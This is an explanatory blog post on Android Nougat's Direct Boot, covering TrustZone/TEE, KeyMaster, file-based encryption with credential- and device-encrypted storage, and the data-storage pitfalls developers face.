Imagine you prepare an alarm to wake up earlier next morning (e.g. to not miss Swiss Cyber Storm). Unfortunately, the device crashes in the night and you would be late on the event, because after restarting the device it remains locked, requiring the passcode for the full-disk encryption.

This is, where Direct Boot comes into play. Direct Boot allows encrypted devices to boot straight to the lock screen (Keyguard is also Direct Boot aware). Therefore, the alarm will still be triggered after the reboot in Android Nougat.

DirectBoot Triggered Alarm

Quick Intro: Trusted Execution Environment (TEE)

Since the Android Compatibility Definition Document (CDD)[3] for Nougat is not officially released yet, we can only speculate whether the document will change the STRONGLY RECOMMENDED to REQUIRED requirement for TEE. As it is likely to happen though, let us assume TEE is required.

The Trusted Execution Environment (TEE) is ARM’s TrustZone for popular mobile devices. TEE establishes a trusted environment, which is separated from the untrusted Android environment and its OS. This concept is very similar to the iOS security enclave, where the regular OS and components cannot access the protected memory directly. The same principle applies for the TrustZone / TEE. Note that there are are a few differences in its implementation, e.g. Android does not require a fully isolated core.

REE & TEE Schemes

[4] TEE architecture

TEE can be used to store various secure applications similar to smart cards (JavaCard applications). In the context of Android such a secure application is the KeyMaster, where keys are stored securely and crypto-operations take place. Therefore, the untrusted zone can not access the private keys.

Secure Vs. Non Secure World

[5] KeyMaster in TEE

Full-Disk Encryption

Full-disk encryption is used to protect the internal and external memory (SD-card). An appreciated property is that the used key material for full-disk encryption is bound to the hardware. As you already expected, TEE is used to bind the scheme to the hardware. Additionally, the user has to provide a passphrase, which is also added to the full-disk encryption scheme in order to prevent attacks from a locked mobile device.

FDE Prior Android Nougat

[6] Full-disk encryption scheme prior to Nougat

Direct Boot Storage Types

In Android Nougat the encryption scheme is not used for the whole volume anymore but is now file-based, which gives performance benefits and is based on ext4 encryption involving TEE [7]. Android distinguishes between two storage types:

  1. Credential encrypted storage (CE)
  2. Device encrypted storage (DE).

The first storage type was present in all prior Android releases. Device encrypted storage is the newly introduced storage type. There, the storage is solely protected using the hardware-bound key from TEE. All device encrypted storage data is added to /data/user_de/ and isolated from the user related credential encrypted storage in /data/user/. Since the decryption key cannot be derived without the user provided passcode an app in the DE-context cannot access data from the CE-context. There are further filesystem isolations in /data/misc and /data/system:



Direct Boot Pitfalls

There are various security pitfalls with respect to Direct Boot, which could lead to access of sensitive files by malicious apps in a multi-user context (shared device):

  1. Insecure file permissions
  2. Insecure data storage

Both aspects appear as M1 – Improper Platform Usage and M2 – Insecure Data Storage in the OWASP Mobile Top Ten 2016 [8]. Since they are ranked as the two most frequently occurring security issues, we will probably see these application specific vulnerabilities in the context of Direct Boot in the near future.

App developers need to carefully plan where to store data. Confidential and user-specific data should never be stored in the DE storage. Migration of data from CE to DE storage has to be thoroughly analyzed and file permissions set as restrictive as possible.

Sources and References:

[1] https://github.com/googlesamples/android-DirectBoot

[2] https://developer.android.com/training/articles/direct-boot.html

[3] https://source.android.com/compatibility/cdd.html

[4] https://www.arm.com/products/processors/technologies/trustzone/tee-smc.php 

[5] https://source.android.com/security/keystore/

[6] http://bits-please.blogspot.ch/2016/06/extracting-qualcomms-keymaster-keys.html

[7] https://source.android.com/security/encryption/file-based.html

[8] https://www.owasp.org/index.php/OWASP_Mobile_Security_Project